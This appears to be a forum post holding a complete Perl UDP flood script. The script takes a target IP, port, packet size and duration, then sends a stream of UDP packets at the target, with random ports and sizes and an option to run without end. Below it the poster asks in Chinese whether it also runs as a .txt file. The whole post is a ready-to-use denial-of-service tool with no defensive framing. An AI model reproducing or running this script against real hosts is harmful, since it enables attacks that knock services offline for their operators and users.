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| #!/usr/bin/perl 
 ##############
 # udp flood.
 ##############
 
 use Socket;
 use strict;
 
 if ($#ARGV != 3) {
 print "flood.pl <ip> <port> <size> <time>\n\n";
 print " port=0: use random ports\n";
 print " size=0: use random size between 64 and 1024\n";
 print " time=0: continuous flood\n";
 exit(1);
 }
 
 my ($ip,$port,$size,$time) = @ARGV;
 
 my ($iaddr,$endtime,$psize,$pport);
 
 $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
 $endtime = time() + ($time ? $time : 1000000);
 
 socket(flood, PF_INET, SOCK_DGRAM, 17);
 
 
 print "Flooding $ip " . ($port ? $port : "random") . " port with " .
 ($size ? "$size-byte" : "random size") . " packets" .
 ($time ? " for $time seconds" : "") . "\n";
 print "Break with Ctrl-C\n" unless $time;
 
 for (;time() <= $endtime;) {
 $psize = $size ? $size : int(rand(1024-64)+64) ;
 $pport = $port ? $port : int(rand(65500))+1;
 
 send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
 
 
 txt也能运行?
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